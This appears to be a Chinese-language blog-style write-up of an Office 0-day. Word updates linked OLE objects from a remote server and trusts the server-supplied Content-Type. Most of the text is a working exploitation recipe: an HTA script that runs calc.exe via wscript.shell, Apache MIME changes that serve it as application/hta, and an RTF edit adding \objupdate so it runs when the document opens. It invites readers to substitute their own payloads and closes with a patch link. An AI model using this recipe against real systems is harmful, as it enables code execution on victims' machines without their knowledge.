漏洞概述
fireeye最近公布了一個OFFICE 0day,在無需用戶交互的情況下,打開word文檔就可以通過hta腳本執行任意代碼。經過研究發現,此漏洞的成因主要是word在處理內嵌OLE2LINK對象時,通過網絡更新對象時沒有正確處理的Content-Type所導致的一個邏輯漏洞。
漏洞利用方法
首先准備一台apache服務器,web根目錄下保存一個1.rtf文件,內容如下:
test789
<script>
var objShell = new ActiveXObject("wscript.shell");
objShell.Run("%SystemRoot%\\system32\\calc.exe");
</script>
確保apache配置文件conf/mime.types里面有rtf的content type項:
application/rtf rtf
選擇由文件創建,輸入web服務器上1.rtf的URL,一定要選上“鏈接到文件”:
這時候會生成一個有test789文字內嵌對象的文檔,這是雙擊該對象只能以rtf文件方式打開對象,並不能執行hta腳本。因為生成對象的時候選中“鏈接到文件”,所以當打開對象的時候會去服務器上請求http://192.168.1.108/1.rtf來更新對象內容。
此時在apache配置文件conf/mime.types中把
application/rtf rtf
修改成:
application/hta rtf
再雙擊對象,此時雖然訪問的還是1.rtf文件,但是服務器的Content-type會返回application/hta,而word就以hta腳本的方式打開文件:
這樣的poc還是需要用戶雙擊對象進行交互的,那么怎么樣才能自動運行對象呢?這里就需要把文件保存成rtf格式:
用文本編輯器打開剛保存的rtf文件,找到object標簽所在的地方:
把
{\object\objautlink\rsltpict
修改成:
{\object\objautlink\objupdate\rsltpict
保存文件再重新打開。此時無需用戶交互就可直接運行hta腳本彈出計算器:
關鍵點在於objupdate,這個標簽的作用是可以自動更新對象,因此無需用戶交互。此時已經可以達到通過hta腳本執行任意代碼的目的,至於hta腳本就是八仙過海各顯神通了。
修復方案
下載微軟緊急更新補丁:
https://support.microsoft.com/en-us/help/4014793/title